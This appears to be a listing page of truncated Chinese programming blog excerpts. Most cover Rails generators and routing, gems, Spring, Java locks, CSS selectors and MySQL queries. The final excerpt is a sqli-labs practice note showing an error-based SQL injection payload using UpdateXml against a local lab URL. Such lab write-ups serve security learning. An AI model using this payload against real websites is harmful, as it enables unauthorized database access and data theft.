rails generate model photo title:string album:references 这会产生一个album_id列,当建立belongs_to关联时,需要用到. references算时一种结构,会产生integer. For integer, string, text and binary fields, an integer in curly braces will be set as the limit:  `rails generate model user…
一  对象锁和类锁的关系 /* * 对象锁和[类锁] 全局锁的关系? 对象锁是用于对象实例方法,或者一个对象实例上的 this 类锁是用于类的静态方法或者一个类的class对象上的. Ag.class 我们知道,类的对象实例可以有很多个,但是每个类只有一个class对象, 所以不同对象实例的对象锁是互不干扰的,但是每个类只有一个类锁. */ 对象锁,  不同对象. public class SynchrDemo { public static void main(String[] args) {…
豆知识扩展: <meta>  https://www.cnblogs.com/chentianwei/p/9183799.html css selector div > p 选择所有父母是<div>的<p>元素. div p 选择所有在<div>内的<p>元素. 个人理解 div.dialog特指类名是dialog的<div>元素 public 文件夹下的html文件是静态网页,通过http://localhost:3000/h…
如果一个Rubyer想要提供一个功能或某个程序或程序的集合给其他Rubyer使用,这个Rubyer可以创建一个package,这个package就叫做gems. 可以通过gem install安装. https://www.ruby-toolbox.com/ Raisl 本身就是一个gem. gem 'listen', '>= 3.0.5', '< 3.2' 这是说大于3.0.5版本并小于3.2版本. '~> 2.0.0' 这是说最高版本用2.0.0 Gemfile.lock被用于多开发…
偶然一次: 运行rails generate停止不动,网上查找答案,可能是bundle update 之后 spring 版本变化了,和正在运行的 spring 实例不兼容. Spring导致的同样的原因: rails g migration后,窗口显示了生成迁移文件,但文件树结构上没有显示这个文件. rails console停止不动,打不开控制台. 解决办法: 关闭spring, spring stop ⚠️,如果谷歌上查找问题,中文描述问题找不到好的结果,改用英文描述问题,然后搜索. ht…
Naming a Route get 'home/index', as: "different_name" 会得到prefix: different_name代替home_index, 这个是路径的名字. get 'home/ping', to: "home#pong" to方法,定义到哪个控制器的哪个action. 这会改变默认的控制器的action.而控制器会指向view. Paramter 通过浏览器输入的URI Pattern ,可以导向控制器的某个acti…
用generator建立一个手脚架 Representational State Transfer (REST).  具像的状态转存. https://en.wikipedia.org/wiki/Representational_state_transfer RESTful风格的简单的理解: 如何根据一个简单的法则来存取数据.法则包括CRUD的原理和对HTTP的明确定义. redirect_to logger.info "+++ Example +++"  :可以添加log,同时在te…
mysql的“慢查询”指的是超过了允许的最大查询时间(long_query_time)的sql语句,而“未使用索引”查询顾名思义就是查询语句没有使用到索引的sql语句. 慢查询配置和使用 在msyqld的启动配置文件或命令行参数中增加以下参数 long_query_time=1 log-slow-queries=/var/mysql/logs/slow.log long_query_time参数表示的是慢查询的度量时间,单位是秒,最小是1,缺省值是10,凡是执行时间超过long_query_ti…
mysql find_in_set 与 in 的用法与区别 1.find_in_set 用于模糊查询,并且数据库中的值是用英文逗号分隔的: 例如: (1).去字段中查询 select find_in_set('1','ziduanming'); (2).在指定范围中查询 select find_in_set('1','1,2,3,4,5,6'); 2.in 用于范围精准查询,并且数据库中值是单一的,数据库中不是多个值. 例如: (1).去字段中查询 select ziduanming in(1,…
http://192.168.136.128/sqli-labs-master/Less-61/?id=1' 单引号双括号闭合 192.168.136.128/sqli-labs-master/Less-61/?id=1')) or UpdateXml(1,concat(0x7e,database(),0x7e),1)%23…